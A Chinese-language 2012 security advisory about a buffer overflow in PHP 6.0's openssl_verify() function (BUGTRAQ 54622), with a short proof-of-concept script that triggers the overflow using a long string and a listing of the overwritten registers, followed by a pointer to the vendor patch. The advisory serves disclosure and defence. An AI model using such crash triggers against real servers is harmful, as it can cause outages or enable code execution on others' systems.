PHP 'openssl_verify()'缓冲区溢出漏洞


发布日期:2012-07-23
更新日期:2012-07-24

受影响系统:
PHP PHP 6.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 54622

PHP 是一种 HTML 内嵌式的语言,PHP与微软的ASP颇有几分相似,都是一种在服务器端执行的嵌入HTML文档的脚本语言,语言的风格有类似于C语言,现在被很多的网站编程人员广泛的运用。

PHP 6.0在实现中存在缓冲区溢出漏洞,成功利用此漏洞可允许远程攻击者在受影响的Web服务器中执行任意代码。

<*来源:vendor
  *>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

vendor ()提供了如下测试方法:

<?php
// ==================================================================================
//
// PHP 6.0 openssl_verify() Local Buffer Overflow PoC
//
// Tested on WIN XP, Apache, PHP 6.0dev. Local Buffer Overflow.
//
// Local Buffer Overflow
// Author: Pr0T3cT10n <pr0t3ct10n@gmail.com>
//
// ==================================================================================
//
// REGISTERS:
// EAX 000003D0, ECX 00BBDB28, EDX 00BBDAD8
// EBX 00BBC940, ESP 0012FB5C UNICODE "AAA...."
// ESI 00BBC940, EDI 00831D00, EBP 0012FBF0 UNICODE "AAA...."
// EIP 00410041
//
// ==================================================================================

$buffer = str_repeat("A", 1000);
openssl_verify(1,1,$buffer);
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net

相关内容